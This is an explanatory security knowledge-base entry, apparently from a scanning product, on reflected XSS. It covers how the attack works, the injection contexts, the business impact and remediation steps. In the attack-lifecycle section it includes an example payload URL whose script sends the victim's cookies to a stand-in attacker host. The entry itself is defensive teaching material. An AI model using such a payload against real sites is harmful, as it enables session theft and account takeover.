Overview
Reflected Cross-Site Scripting (XSS) is a class of injection vulnerability in which an attacker supplies malicious script code as part of an HTTP request — typically in a URL query parameter, path segment, or POST field — and the server immediately includes that input verbatim (or with insufficient encoding) in the HTTP response. When the victim's browser parses the response, it executes the injected script in the security context of the target origin.
Unlike stored XSS, reflected payloads are not persisted on the server. The attack is delivered transiently, usually via a malicious hyperlink shared through email, social media, or a redirector. This "non-persistent" nature means each victim must individually load the crafted URL.
How it works
The attack lifecycle consists of four stages:
- Payload construction: The attacker crafts a URL whose parameters contain a script payload, for example:
https://example.com/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script> - Delivery: The victim is tricked into clicking the link (phishing email, shortened URL, open redirect, etc.).
- Server reflection: The application reads the
qparameter and writes it directly into the HTML response — for example inside a "You searched for: …" paragraph — without HTML-encoding special characters. - Browser execution: The browser parses the response, encounters the injected
<script>tag (or an event handler,javascript:URI, or other injection context), and executes it under the application's origin.
Injection contexts that are commonly exploited include:
- HTML body context — unencoded output between tags allows raw tag injection.
- HTML attribute context — values inserted inside tag attributes without quoting enable attribute breakout (e.g.,
" onmouseover="alert(1)). - JavaScript context — data written inside a
<script>block or an inline event handler without JS string escaping allows logic injection. - URL context — attacker-controlled href or src values may accept
javascript:URIs. - CSS context — values reflected inside style attributes can exploit expression() in legacy browsers or leak data.
Modern browsers implement an XSS Auditor (deprecated) or rely on Content Security Policy (CSP) rather than built-in filters. Bypasses using character encoding tricks, HTML parser quirks, or DOM sinks remain a constant research area.
Business impact
A successful reflected XSS exploit executes arbitrary JavaScript in the victim's browser under the vulnerable application's origin. Concrete consequences include:
- Session hijacking: Theft of session cookies (where
HttpOnlyis absent) allows full account takeover without credentials. - Credential harvesting: Injected scripts can rewrite the page DOM to present fake login forms, capturing usernames and passwords.
- Malware distribution: The script can silently redirect users to exploit kits or trigger drive-by downloads.
- Data exfiltration: Sensitive page content, CSRF tokens, or API keys visible in the DOM can be exfiltrated to attacker-controlled infrastructure.
- Defacement and reputation damage: Visible manipulation of page content can erode user trust in the brand.
- Compliance exposure: Exploitation affecting personal data may trigger GDPR, HIPAA, or PCI-DSS breach notification obligations.
Because the attack requires user interaction rather than persistent server compromise, it is frequently underestimated. However, large-scale phishing campaigns can weaponise a single reflected XSS endpoint to affect thousands of users.
How to fix it
- Context-aware output encoding (primary control): Encode all untrusted data before inserting it into an HTML response. Use the appropriate encoding function for each injection context:
- HTML body: HTML-entity encode (
&,<,>,",'). - HTML attribute: Attribute-encode and always quote attribute values.
- JavaScript: JavaScript-encode (Unicode escape sequences) or use a safe JSON serialiser.
- URL parameters: Percent-encode with strict allowlist.
- HTML body: HTML-entity encode (
- Use a proven template engine with auto-escaping: Frameworks such as Django templates, Jinja2 (autoescaping on), Razor, Thymeleaf, and Angular's template engine escape by default. Avoid disabling auto-escape (
|safe,dangerouslySetInnerHTML,bypassSecurityTrustHtml) unless absolutely necessary. - Implement a strict Content Security Policy (CSP): Deploy a CSP header (
Content-Security-Policy) that disallows inline scripts ('unsafe-inline') and restricts script sources to known, trusted origins. A nonce- or hash-based CSP provides defence-in-depth even if encoding is imperfect. - Validate and reject malformed input: Apply server-side input validation using an allowlist of expected characters or formats. Reject — rather than sanitise — inputs that do not conform, where business logic permits.
- Set security-sensitive cookie attributes: Mark session cookies as
HttpOnly(prevents JS access) andSecure(TLS-only transmission). UseSameSite=StrictorSameSite=Laxto reduce cross-site request risk. - Enable the
X-XSS-Protectionheader (legacy browsers only): Though deprecated, settingX-XSS-Protection: 1; mode=blockactivates rudimentary XSS filtering in older Internet Explorer and Chrome versions. It is not a substitute for encoding. - Sanitise rich HTML with a trusted library: If the application must accept and render HTML (e.g., a WYSIWYG editor), use a well-maintained allowlist-based HTML sanitiser such as DOMPurify rather than custom regex filtering.
- Conduct regular security testing: Include XSS test cases in automated CI/CD pipelines, perform manual penetration testing of all input/output paths, and use Sensagraph to continuously scan for reflected XSS exposures across production endpoints.
References
- OWASP – Cross Site Scripting (XSS)
- OWASP Top 10 2021 – A03: Injection
- OWASP XSS Prevention Cheat Sheet
- MITRE CWE-79 – Improper Neutralization of Input During Web Page Generation
- MDN Web Docs – Content Security Policy (CSP)
- MDN Web Docs – Content-Security-Policy Header Reference
- PortSwigger Web Security Academy – Reflected XSS
- DOMPurify – Trusted HTML Sanitiser Library